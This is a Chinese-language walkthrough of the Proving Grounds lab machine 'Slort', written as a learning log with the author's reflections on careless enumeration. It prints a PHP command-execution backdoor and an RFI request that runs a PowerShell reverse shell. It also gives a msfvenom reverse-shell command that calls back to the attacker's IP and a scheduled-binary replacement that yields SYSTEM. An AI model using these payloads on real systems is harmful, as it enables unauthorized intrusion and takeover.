0%

Proving Grounds Practice - Slort

Difficulty

medium

Scans

8080

phpinfo

点击phpinfo, 允许远程包含,能找到文件包含的话可以实现rce

phpmyadmin

403 only avaiable from local network

路径扫描

gobuster dir -w /usr/share/wordlists/dirb/big.txt -u ``http://192.168.111.53:8080`` -t 40

发现site、img、dashboard、xampp

Foothold

访问 http://192.168.111.53:8080/site/

使用kali自带的backdoor.php文件:

cp /usr/share/webshells/php/simple-backdoor.php backdoor.php 然后python 启动webserver

1
2
3
4
5
6
7
8
9
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>

https://www.revshells.com/ 生成反弹shell powershell base64脚本,远程文件包含执行反弹shell命令, 接收到webshell

http://192.168.111.53:8080/site/index.php?page=http://192.168.45.165/web/backdoor.php&cmd=powershell%20-e...

1
2
3
4
5
6
rlwrap nc -nvlp 8080
listening on [any] 8080 ...
connect to [192.168.45.165] from (UNKNOWN) [192.168.111.53] 50011

PS C:\xampp\htdocs\site> whoami
slort\rupert

phpinfo lfi

如果不能远程文件包含的话,也可以利用phpinfo实现本地包含rce, 可参考: PHP LFI abuse

Escalation

winpeas收集信息,在大片的xampp有backup/TFTP.EXE

进入/backup文件夹下查看, info.txt中提示每5分钟执行一次,可以替换TFTP.EXE为反弹shell exe

msf生成反弹shell exe:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.165 LPORT=443 -f exe -o TFTP.EXE

下载替换 backup/TFTP.EXE 等待片刻后,获得system shell

1
2
3
4
5
6
7
8
9
10
11
12
13
rlwrap nc -nvlp 443
listening on [any] 443 ...


connect to [192.168.45.165] from (UNKNOWN) [192.168.111.53] 52422
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>
C:\WINDOWS\system32>
C:\WINDOWS\system32>whoami
whoami
slort\administrator

反思

  1. 提权手动收集信息要细致,没有发现C:\backup文件夹,检查了public, rupert, xammp文件夹,但是却忽略了C目录,实在不应该,要细致啊
  2. winpeas的输出中,也同样没有发现backup/TFTP.EXE文件,这部分知识简单扫了一眼都是C:\xampp 下面是 /users, 一定要细致啊
  3. 在看了hits后提示find backup, 在C:下找到backup, 查看info.txt, 但是眼瞎没看到run every 5 minute,实际上我确定是我自己选择性忽略了,因为在第一次cat之后,我甚至没注意看执行的是什么命令。 为什么?把前面当做命令提示符了? 想着先分析一下backup.txt? 看到run…认为是系统输出的信息了?

细心是关键,或许我这么粗心不适合做渗透测试?